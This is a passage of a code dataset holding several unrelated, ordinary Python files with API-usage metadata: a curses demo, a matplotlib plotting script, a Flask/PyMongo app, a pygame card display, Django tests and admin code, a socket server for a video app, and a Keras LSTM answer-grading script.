"usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "os.system", "line_number": 141, "usage_type": "call"}, {"api_name": "os.system", "line_number": 156, "usage_type": "call"}]} {"seq_id": "395400692", "text": "\"\"\"Main entry point of program. Here, a configs file is parsed and the trainer is instantiated and run.\"\"\"\n\nimport argparse\n\nfrom senn.trainer import init_trainer\n\n\ndef main():\n \"\"\"\n Entry point to the trainer.\n Binds together the config and the Trainer class\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--config', default=\"configs/compas_lambda1e-4_seed111111.json\", help='experiment config file')\n args = parser.parse_args()\n\n trainer = init_trainer(args.config)\n trainer.run()\n trainer.finalize()\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 589, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "senn.trainer.init_trainer", "line_number": 17, "usage_type": "call"}]} {"seq_id": "643827010", "text": "\n#!/usr/bin/env python\n\nimport curses\nimport curses.textpad\nimport time\n\nstdscr = curses.initscr()\n\ncurses.noecho()\nstdscr.nodelay(1)\n\n\n\ncurses.textpad.rectangle(stdscr,0,0,10,10)\ncurses.textpad.rectangle(stdscr,0,11,10,21)\ncurses.textpad.rectangle(stdscr,0,22,10,33)\nstdscr.refresh()\ncurses.curs_set(1)\nwin = curses.newwin(9,9,1,1)\nupdatewin = curses.newwin(9,9,1,12)\nnumberbox = curses.newwin(9,9,1,23)\n\nrate = .1\nnumber = 0\nx = -1\nstring = ''\n\n\ndef number_print(number,win):\n\twin.erase()\n\twin.addstr(str(number))\n\tnumberbox.move(1,1)\n\twin.noutrefresh()\nback = False\nwhile x != 27:\n\tif x == 127:\n\t\tstring = string[:-1]\n\t\twin.erase()\n\tif x != -1 and x != 127:\n\t\tstring+=chr(x)\n\n\tif x == 10:\n\t\tif string == \"hello\\n\":\n\t\t\tupdatewin.erase()\n\t\t\tupdatewin.addstr(0,0,\"and hello to you!\")\n\t\t\tupdatewin.noutrefresh()\n\t\t\twin.erase()\n\t\t\tstring=''\n\t\tif string == \"slow\\n\":\n\t\t\trate = .001\n\t\t\twin.erase()\n\t\t\tstring=''\n\t\tif string == \"back\\n\":\n\t\t\tback = True\n\t\t\twin.erase()\n\t\t\tstring=''\n\t\t\t\n\tnumber_print(number,numberbox)\n\twin.addstr(0,0,string)\n\twin.noutrefresh()\n\tx = stdscr.getch()\n\tif back == False:\n\t\tnumber+=rate\n\telse:\n\t\tnumber-=rate\n\tcurses.doupdate()\n\ncurses.endwin()\n", "sub_path": "curses-test/proofofconcept.py", "file_name": "proofofconcept.py", "file_ext": "py", "file_size_in_byte": 1166, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "curses.initscr", "line_number": 8, "usage_type": "call"}, {"api_name": "curses.noecho", "line_number": 10, "usage_type": "call"}, {"api_name": "curses.textpad.rectangle", "line_number": 15, "usage_type": "call"}, {"api_name": "curses.textpad", "line_number": 15, "usage_type": "attribute"}, {"api_name": "curses.textpad.rectangle", "line_number": 16, "usage_type": "call"}, {"api_name": "curses.textpad", "line_number": 16, "usage_type": "attribute"}, {"api_name": "curses.textpad.rectangle", "line_number": 17, "usage_type": "call"}, {"api_name": "curses.textpad", "line_number": 17, "usage_type": "attribute"}, {"api_name": "curses.curs_set", "line_number": 19, "usage_type": "call"}, {"api_name": "curses.newwin", "line_number": 20, "usage_type": "call"}, {"api_name": "curses.newwin", "line_number": 21, "usage_type": "call"}, {"api_name": "curses.newwin", "line_number": 22, "usage_type": "call"}, {"api_name": "curses.doupdate", "line_number": 67, "usage_type": "call"}, {"api_name": "curses.endwin", "line_number": 69, "usage_type": "call"}]} {"seq_id": "593575785", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.axis as axes\nimport seaborn as sns\nimport gmsxfr\nimport os\nimport style_parameters as sp\nimport argparse\n\npd.plotting.register_matplotlib_converters()\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--gams_sysdir\", dest=\"gams_sysdir\", default=None, type=str)\n parser.add_argument(\"--data_repo\", dest=\"data_repo\", default=None, type=str)\n parser.add_argument(\"--output\", dest=\"output\", default=None, type=str)\n\n # parser.set_defaults(gams_sysdir=\"some path here\")\n # parser.set_defaults(data_repo=\"some path here\")\n\n args = parser.parse_args()\n\n #\n #\n # get model results\n gdx = gmsxfr.GdxContainer(\n args.gams_sysdir, os.path.join(args.data_repo, \"solve_mode.gdx\")\n )\n gdx.rgdx([\"x_title\"])\n x_title = gdx.to_dict(\"x_title\")[\"text\"]\n\n gdx = gmsxfr.GdxContainer(\n args.gams_sysdir, os.path.join(args.data_repo, \"final_results.gdx\")\n )\n gdx.rgdx([\"frac_r\", \"import_ibr\", \"import_ir\", \"export_ibr\", \"export_ir\"])\n\n carbon = {\n i: gdx.to_dict(\"frac_r\")[\"elements\"][i]\n if gdx.to_dict(\"frac_r\")[\"elements\"][i] > np.finfo(float).tiny\n else 0\n for i in gdx.to_dict(\"frac_r\")[\"elements\"]\n }\n\n import_ibr = gdx.to_dataframe(\"import_ibr\")\n import_ir = gdx.to_dataframe(\"import_ir\")\n export_ibr = gdx.to_dataframe(\"export_ibr\")\n export_ir = gdx.to_dataframe(\"export_ir\")\n\n imports = import_ir[\"elements\"].copy()\n imports.loc[imports[imports[\"L\"] <= np.finfo(float).tiny].index, \"L\"] = 0\n imports[\"r\"] = imports[\"r\"].map(carbon)\n\n exports = export_ir[\"elements\"].copy()\n exports.loc[exports[exports[\"L\"] <= np.finfo(float).tiny].index, \"L\"] = 0\n exports[\"r\"] = exports[\"r\"].map(carbon)\n\n exim = imports.set_index([\"i\", \"r\"]).copy()\n exim.rename(columns={\"L\": \"imports\"}, inplace=True)\n exim[\"exports\"] = exports.set_index([\"i\", \"r\"]).L\n exim[\"net\"] = exim[\"imports\"] - exim[\"exports\"]\n exim.reset_index(drop=False, inplace=True)\n\n exim = exim[exim.net != 0].copy()\n exim[\"i\"] = exim[\"i\"].map(sp.region_map)\n\n if sum(exim[\"i\"].isnull()) != 0:\n raise Exception(\"incomplete region mapping from style_parameters\")\n\n #\n #\n # plot ex/imports by region for policy scenario\n n_plt = list(set(exim.i))\n\n plt.style.use([\"seaborn-white\", \"werewolf_style.mplstyle\"])\n\n # plot for cntlreg\n fig, ax = plt.subplots()\n y_div = 5000\n for n, i in enumerate(n_plt):\n df = exim[exim.i == i]\n\n ax.plot(\n df[\"r\"],\n df[\"net\"],\n visible=True,\n color=sp.cm_region[i],\n linewidth=1,\n label=i,\n )\n\n ax.plot(\n df[\"r\"],\n [0 for _ in range(len(carbon))],\n visible=True,\n color=\"black\",\n linewidth=2,\n linestyle=\"--\",\n )\n\n # plt.suptitle('super title here')\n plt.xlabel(x_title)\n plt.ylabel(\"Net Imports to Cntl Region (MW)\")\n plt.tight_layout()\n plt.ylim(\n -y_div * (-min(exim[\"net\"]) // y_div + 1),\n y_div * (max(exim[\"net\"]) // y_div + 1),\n )\n ax.grid(which=\"major\", axis=\"both\", linestyle=\"--\")\n ax.legend(loc=\"upper right\", frameon=True, prop={\"size\": 6})\n\n plt.savefig(\n os.path.join(args.output, \"agg_exim.png\"), dpi=600, format=\"png\",\n )\n", "sub_path": "werewolf_python/plot_transmission_exim.py", "file_name": "plot_transmission_exim.py", "file_ext": "py", "file_size_in_byte": 3477, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.plotting.register_matplotlib_converters", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.plotting", "line_number": 11, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "gmsxfr.GdxContainer", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "gmsxfr.GdxContainer", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.finfo", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 57, "usage_type": "call"}, {"api_name": "style_parameters.region_map", "line_number": 67, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 77, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "style_parameters.cm_region", "line_number": 89, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}]} {"seq_id": "272595025", "text": "\"\"\"\r\nFlask App for LHS\r\n\"\"\"\r\n\r\nfrom flask import Flask, request, jsonify\r\nfrom flask_pymongo import PyMongo\r\nfrom utils import AppUtils\r\n\r\n# Create an instance of Flask for our app\r\napp = Flask(__name__)\r\n\r\n# Connect to our mongo database\r\napp.config['MONGO_URI'] = \"mongodb://localhost:27017/test\"\r\nmongo = PyMongo(app)\r\n\r\n\r\n@app.route('/', methods=['GET'])\r\ndef query_records():\r\n \"\"\"\r\n Query records in database\r\n :return: JSON of the records returned\r\n \"\"\"\r\n # Get details from request\r\n name = request.args.get('name')\r\n email = request.args.get('email')\r\n\r\n # Form search query\r\n query = AppUtils.make_search_query(email, name)\r\n\r\n # Search database\r\n users = mongo.db.users.find(query)\r\n\r\n # Get output into form we want\r\n output = [AppUtils.object_id_to_string(user) for user in users]\r\n\r\n # Return JSON of users\r\n return jsonify(output)\r\n\r\n\r\n# This is the bit that runs:\r\nif __name__ == \"__main__\":\r\n # Start the flask app\r\n app.run()\r\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 996, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_pymongo.PyMongo", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "utils.AppUtils.make_search_query", "line_number": 28, "usage_type": "call"}, {"api_name": "utils.AppUtils", "line_number": 28, "usage_type": "name"}, {"api_name": "utils.AppUtils.object_id_to_string", "line_number": 34, "usage_type": "call"}, {"api_name": "utils.AppUtils", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 37, "usage_type": "call"}]} {"seq_id": "554058163", "text": "#!/usr/bin/env python\r\n#\r\n\r\nimport pygame\r\nfrom pygame.locals import *\r\nfrom sys import exit\r\nimport random\r\n\r\npygame.init()\r\n\r\nscreen=pygame.display.set_mode((1024,480),0,32)\r\npygame.display.set_caption(\"Cards by Rich Schumacher\")\r\n\r\n#Create a background.\r\nbackground = pygame.Surface((1024,480))\r\nbackground.fill((0,255,0))\r\n\r\n#Load cards image\r\ncard_image = pygame.image.load('cards.gif')\r\nCARD_WIDTH=71\r\nCARD_HEIGHT=96\r\n\r\n#Display A Card Function\r\n#cardnum : 0:12 = Ace to King, Hearts, 13:25 = Hearts, 25:38 = Clubs, 39:51 = Spades\r\n#loc_x, loc_y : x,y coordinate on screen to place image\r\ndef display_a_card(cardnum, loc_x, loc_y):\r\n cardnum = cardnum % 52\r\n suit = int(cardnum/13)\r\n cardnum = cardnum % 13\r\n card_to_show = pygame.Rect((cardnum * CARD_WIDTH, suit * CARD_HEIGHT),\r\n (CARD_WIDTH, CARD_HEIGHT))\r\n screen.blit(card_image,(loc_x,loc_y),card_to_show)\r\n\r\n#Initialize locals\r\nnumber = 0\r\nsuit = 0\r\n\r\n#clock and font objects\r\nclock = pygame.time.Clock()\r\nfont = pygame.font.SysFont(\"calibri\",40)\r\n\r\n#Create a Deck 0..51\r\nmyDeck = list(range(52))\r\nspacing = CARD_WIDTH\r\n\r\n#Shuffle Deck\r\ndef shuffle():\r\n effect = pygame.mixer.Sound('shuffling-cards-1.wav')\r\n effect.play()\r\n\r\ndef display_deck(deck):\r\n xpos = 0\r\n ypos = 0\r\n\r\n for j in range(4):\r\n for i in range(13):\r\n display_a_card(deck[i+j+j*12], xpos, ypos)\r\n xpos += spacing\r\n xpos = 0\r\n ypos += CARD_HEIGHT\r\n\r\nwhile True:\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n exit()\r\n if event.type == KEYDOWN:\r\n flag = True \r\n if event.type == KEYUP:\r\n if (event.key == K_s) and (flag == True):\r\n random.shuffle(myDeck)\r\n shuffle()\r\n flag = False\r\n if (event.key == K_d) and (flag == True):\r\n spacing /= 2\r\n flag = False\r\n if (event.key == K_i) and (flag == True):\r\n spacing *= 2\r\n flag = False\r\n\r\n screen.blit(background,(0,0))\r\n display_deck(myDeck)\r\n text = font.render('Hit S to Shuffle', True,(0,0,0))\r\n screen.blit(text,(250,410))\r\n text2 = font.render('Hit i or d to change spacing', True,(0,0,0))\r\n screen.blit(text2,(250,440))\r\n \r\n pygame.display.update()\r\n", "sub_path": "cards/cards2.py", "file_name": "cards2.py", "file_ext": "py", "file_size_in_byte": 2385, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.init", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 63, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 63, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 65, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 70, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 87, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 87, "usage_type": "attribute"}]} {"seq_id": "44592240", "text": "\"\"\"\nRequests in these tests should not be handled by the middleware.\n\"\"\"\n\nfrom django.conf import settings as django_settings\n\nfrom tests.utils import patch_response_validation_middleware_settings\n\nfrom django_swagger_tester.configuration import SwaggerTesterSettings\n\n\ndef test_exempt_url(client, caplog, monkeypatch):\n monkeypatch.setattr(\n django_settings,\n 'SWAGGER_TESTER',\n patch_response_validation_middleware_settings(\n 'VALIDATION_EXEMPT_URLS', [{'url': '^api/v1/cars/correct$', 'status_codes': ['*']}]\n ),\n )\n settings = SwaggerTesterSettings()\n monkeypatch.setattr('django_swagger_tester.middleware.settings', settings)\n client.get('/api/v1/cars/correct')\n assert (\n 'Validation skipped: GET request to `/api/v1/cars/correct` with status code 200 is in VALIDATION_EXEMPT_URLS'\n in caplog.messages\n )\n\n\ndef test_non_endpoint_options_request(client, caplog):\n \"\"\"\n Makes sure these types of requests are *not* handled by the middleware.\n \"\"\"\n for path in ['', 'test']:\n client.options(path)\n assert 'Validation skipped: `/%s` is not a relevant endpoint' % path in caplog.messages\n", "sub_path": "tests/test_middleware/test_skipped_validation.py", "file_name": "test_skipped_validation.py", "file_ext": "py", "file_size_in_byte": 1189, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.settings", "line_number": 14, "usage_type": "argument"}, {"api_name": "tests.utils.patch_response_validation_middleware_settings", "line_number": 16, "usage_type": "call"}, {"api_name": "django_swagger_tester.configuration.SwaggerTesterSettings", "line_number": 20, "usage_type": "call"}]} {"seq_id": "353452338", "text": "# Author:Cecilia\nimport socket\nimport struct\nimport json\nfrom concurrent.futures import ThreadPoolExecutor\npool = ThreadPoolExecutor(100)\n\n\nfrom db import user_data\nfrom interface import common_interface\nfrom interface import admin_interface\nfrom interface import user_interface\nfrom lib import common\n\n\n\n\n\n\n\n# 做任务分发的功能函数字典\nfunc_dic = {\n 'register':common_interface.register_interface,\n 'login':common_interface.login_interface,\n 'check_movie':common_interface.check_movie_interface,\n 'upload_movie':admin_interface.upload_movie_interface,\n 'get_movie_list':common_interface.get_movie_list_interface,\n 'delete_movie':admin_interface.delete_movie_interface,\n 'send_notice':admin_interface.send_notice_interface,\n 'buy_vip':user_interface.buy_vip_interface,\n 'download_free_movie':user_interface.download_free_movie_interface,\n 'download_nofree_movie':user_interface.download_nofree_movie_interface,\n 'check_movie_record':user_interface.check_movie_record_interface,\n 'check_notice':user_interface.check_notice_interface,\n\n\n\n}\n\n# 服务端入口\ndef run():\n server = socket.socket()\n server.bind(('127.0.0.1',8007))\n server.listen(100)\n\n while True:\n conn,addr = server.accept()\n print(f'{addr}已经连接服务器')\n\n # 由线程池对象提交异步任务\n pool.submit(recv_work,conn,addr)\n\n\n\n# 执行每个连接对象的请求操作\ndef recv_work(conn,addr):\n while True:\n try:\n # 接收数据头\n headers = conn.recv(4)\n data_len = struct.unpack('i',headers)[0]# 获取数据的总长度\n json_data = conn.recv(data_len) # 接收数据部分\n back_dic = json.loads(json_data.decode('utf8')) # 将数据反序列化\n back_dic['addr'] = addr\n\n # func是做任务分发工作的，将每个客户端的任务接收到，转去另一个地方执行\n func(back_dic,conn)\n except Exception as e:\n print(e)\n print(f'{addr}已经断开服务器连接了。。。。。。。')\n user_data.metux.acquire()\n user_data.online_user.pop(addr)\n user_data.metux.release()\n conn.close()\n break\n\n\n# 任务分发函数\ndef func(back_dic,conn):\n if back_dic.get('type') not in func_dic:\n send_dic = {'flag':False,'msg':'请求错误！'}\n common.send_msg(send_dic,conn)\n\n else:\n print('进入',back_dic.get('type'))\n func_dic[back_dic.get('type')](back_dic,conn)\n print('结束',back_dic.get('type'))\n\n\n\n", "sub_path": "youku_server/tcp_server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2611, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 6, "usage_type": "call"}, {"api_name": "interface.common_interface.register_interface", "line_number": 23, "usage_type": "attribute"}, {"api_name": "interface.common_interface", "line_number": 23, "usage_type": "name"}, {"api_name": "interface.common_interface.login_interface", "line_number": 24, "usage_type": "attribute"}, {"api_name": "interface.common_interface", "line_number": 24, "usage_type": "name"}, {"api_name": "interface.common_interface.check_movie_interface", "line_number": 25, "usage_type": "attribute"}, {"api_name": "interface.common_interface", "line_number": 25, "usage_type": "name"}, {"api_name": "interface.admin_interface.upload_movie_interface", "line_number": 26, "usage_type": "attribute"}, {"api_name": "interface.admin_interface", "line_number": 26, "usage_type": "name"}, {"api_name": "interface.common_interface.get_movie_list_interface", "line_number": 27, "usage_type": "attribute"}, {"api_name": "interface.common_interface", "line_number": 27, "usage_type": "name"}, {"api_name": "interface.admin_interface.delete_movie_interface", "line_number": 28, "usage_type": "attribute"}, {"api_name": "interface.admin_interface", "line_number": 28, "usage_type": "name"}, {"api_name": "interface.admin_interface.send_notice_interface", "line_number": 29, "usage_type": "attribute"}, {"api_name": "interface.admin_interface", "line_number": 29, "usage_type": "name"}, {"api_name": "interface.user_interface.buy_vip_interface", "line_number": 30, "usage_type": "attribute"}, {"api_name": "interface.user_interface", "line_number": 30, "usage_type": "name"}, {"api_name": "interface.user_interface.download_free_movie_interface", "line_number": 31, "usage_type": "attribute"}, {"api_name": "interface.user_interface", "line_number": 31, "usage_type": "name"}, {"api_name": "interface.user_interface.download_nofree_movie_interface", "line_number": 32, "usage_type": "attribute"}, {"api_name": "interface.user_interface", "line_number": 32, "usage_type": "name"}, {"api_name": "interface.user_interface.check_movie_record_interface", "line_number": 33, "usage_type": "attribute"}, {"api_name": "interface.user_interface", "line_number": 33, "usage_type": "name"}, {"api_name": "interface.user_interface.check_notice_interface", "line_number": 34, "usage_type": "attribute"}, {"api_name": "interface.user_interface", "line_number": 34, "usage_type": "name"}, {"api_name": "socket.socket", "line_number": 42, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 61, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 63, "usage_type": "call"}, {"api_name": "db.user_data.metux.acquire", "line_number": 71, "usage_type": "call"}, {"api_name": "db.user_data.metux", "line_number": 71, "usage_type": "attribute"}, {"api_name": "db.user_data", "line_number": 71, "usage_type": "name"}, {"api_name": "db.user_data.online_user.pop", "line_number": 72, "usage_type": "call"}, {"api_name": "db.user_data.online_user", "line_number": 72, "usage_type": "attribute"}, {"api_name": "db.user_data", "line_number": 72, "usage_type": "name"}, {"api_name": "db.user_data.metux.release", "line_number": 73, "usage_type": "call"}, {"api_name": "db.user_data.metux", "line_number": 73, "usage_type": "attribute"}, {"api_name": "db.user_data", "line_number": 73, "usage_type": "name"}, {"api_name": "lib.common.send_msg", "line_number": 82, "usage_type": "call"}, {"api_name": "lib.common", "line_number": 82, "usage_type": "name"}]} {"seq_id": "328253161", "text": "from django.contrib import admin\nfrom .models import Department_Home, Subjects\n\nclass SubjectInline(admin.TabularInline):\n\tmodel = Subjects\n\textra = 1\n\nclass Department_Admin(admin.ModelAdmin):\n\tinlines = [SubjectInline]\n\tmodel = Department_Home\n\nadmin.site.register(Department_Home, Department_Admin)", "sub_path": "gsoc1/department/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 301, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.admin.TabularInline", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 4, "usage_type": "name"}, {"api_name": "models.Subjects", "line_number": 5, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 8, "usage_type": "name"}, {"api_name": "models.Department_Home", "line_number": 10, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 12, "usage_type": "call"}, {"api_name": "models.Department_Home", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 12, "usage_type": "name"}]} {"seq_id": "447028856", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\nimport math\nimport pandas as pd\nimport numpy as np\nimport ast\nfrom numpy import zeros\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\nfrom keras.layers.embeddings import Embedding\nfrom keras.preprocessing.text import Tokenizer\nimport collections\nfrom keras.layers import LSTM\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import accuracy_score\nfrom datetime import datetime\n# In[ ]:\n\n\ndf1=pd.read_csv('complete_data9thOct.csv')\n\n\n# In[ ]:\n\n\nprint(\"Length:\",len(df1.index))\n\n\n# In[ ]:\n\n\nprint(\"Grades:\",set(df1['grade']))\n\n\n# In[ ]:\n\n\ndf1['parsed_cleaned_answers2']=[\" \".join(ast.literal_eval(a)) for a in list(df1['parsed_cleaned_answers'])]\ndf1['parsed_cleaned_answers2'] = df1['parsed_cleaned_answers2'].str.replace(',','')\ndf1['parsed_cleaned_answers2'] = df1['parsed_cleaned_answers2'].str.replace(';','')\ndf1['parsed_cleaned_answers2'] = df1['parsed_cleaned_answers2'].str.replace('!','')\ndf1['parsed_cleaned_answers2'] = df1['parsed_cleaned_answers2'].str.replace('','none')\n\n# In[ ]:\n\n\ndf1=df1[['problem_id','folds','parsed_cleaned_answers','parsed_cleaned_answers2','grade','grade_0','grade_1','grade_2','grade_3','grade_4']]\n#df1[0:5]\n\n\n# In[ ]:\n\n\ndf1=df1[['problem_id','folds','parsed_cleaned_answers','parsed_cleaned_answers2','grade']]\ndf1 = pd.concat([df1, pd.get_dummies(df1['grade'],prefix='grade')], axis=1)\n# df1[0:5]\n\n\n# In[ ]:\n\n\n#Tokenizer convert it to numbers\nt = Tokenizer()\ndocs=df1['parsed_cleaned_answers2']\nt.fit_on_texts(docs)\nvocab_size = len(t.word_index) + 1\nprint(\"Vocab size\",vocab_size)\n# # integer encode the documents\n#encoded_docs = t.texts_to_sequences(docs)\n\n# #Converting to numpy array\n#for i in range(0,len(encoded_docs )):\n# encoded_docs[i]=np.asarray(encoded_docs[i])\n# encoded_docs=np.array(encoded_docs)\n\n\n#Loading Glove\nfrom numpy import asarray\nembeddings_index = dict()\nf = open('./glove.6B/glove.6B.100d.txt', 'rb')\nfor line in f:\n values = line.split()\n word = values[0]\n coefs = asarray(values[1:], dtype='float32')\n embeddings_index[word] = coefs\nf.close()\nprint('Loaded %s word vectors.' % len(embeddings_index))\n\n\n\n# # create a weight matrix for words in training docs\nembedding_matrix = zeros((vocab_size, 100))\nfor word, i in t.word_index.items():\n embedding_vector = embeddings_index.get(word)\n if embedding_vector is not None:\n embedding_matrix[i] = embedding_vector\n\n\n# In[ ]:\n#lens=[len(x) for x in docs]\n#e = Embedding(vocab_size, 100, weights=[embedding_matrix], input_length=None, trainable=False)\n \ne=Embedding(vocab_size, 100, weights=[embedding_matrix], input_length=None, trainable=False,embeddings_initializer='uniform', embeddings_regularizer=None, activity_regularizer=None, embeddings_constraint=None, mask_zero=False)\nmodel = Sequential()\nmodel.add(e)\nmodel.add(LSTM(10,return_sequences=True))\nmodel.add(LSTM(5, activation='softmax',return_sequences=False))\nmodel.compile(loss='categorical_crossentropy',optimizer='adam',metrics=['accuracy'])\nmodel.summary()\n\nmodel.save(\"InitialModel.h5\") \n\n\n\n\n\n# In[ ]:\n\n\nproblem_rmse=[]\nproblem_acc=[]\ndef model_for_each_problem(pid, count, total_probs):\n problem_df=df1.loc[df1['problem_id']==pid]\n folds=list(set(problem_df['folds']))\n validate = False\n fold_rmse=[]\n fold_acc=[]\n if(len(folds)>=3):\n validate=True\n val_fold=folds[-1]\n print(\"More than 3 folds\")\n\n\n\n folds.remove(val_fold)\n print(\"Folds:\",folds)\n\n results=[]\n val_results=[] \n \n for f in folds:\n print(\"Problem:\", count, \"/\", total_probs)\n # current date and time\n now = datetime.now()\n timestamp = datetime.timestamp(now)\n print(\"timestamp =\", timestamp)\n actual=[]\n pred=[]\n train_df=problem_df[problem_df['folds']!=f]\n #print(\"Length of train:\",len(train_df.index)) \n #Tokenizer convert it to numbers\n #t = Tokenizer()\n docs=train_df['parsed_cleaned_answers2']\n t.fit_on_texts(docs)\n #vocab_size = len(t.word_index) + 1\n # integer encode the documents\n train_encoded_docs = t.texts_to_sequences(docs)\n \n for i in range(0,len(train_encoded_docs )):\n train_encoded_docs[i]=np.asarray(train_encoded_docs[i])\n train_encoded_docs=np.array(train_encoded_docs)\n \n \n # create a weight matrix for words in training docs\n #embedding_matrix = zeros((vocab_size, 100))\n #for word, i in t.word_index.items():\n # embedding_vector = embeddings_index.get(word)\n # if embedding_vector is not None:\n # embedding_matrix[i] = embedding_vector\n \n y_train=train_df[['grade_1','grade_2','grade_3','grade_4','grade_5']]\n y_train=np.asarray(y_train)\n \n # print(\"Train shape:\",train_encoded_docs.shape) \n \n #TEST DATA:\n \n test_df=problem_df[problem_df['folds']==f]\n print(\"Test Fold:\",f)\n #print(\"Length of test df:\",len(test_df.index)) \n print(test_df)\n \n docs=test_df['parsed_cleaned_answers2']\n \n #use same tokenizer\n test_encoded_docs=t.texts_to_sequences(docs)\n \n for i in range(0,len(test_encoded_docs 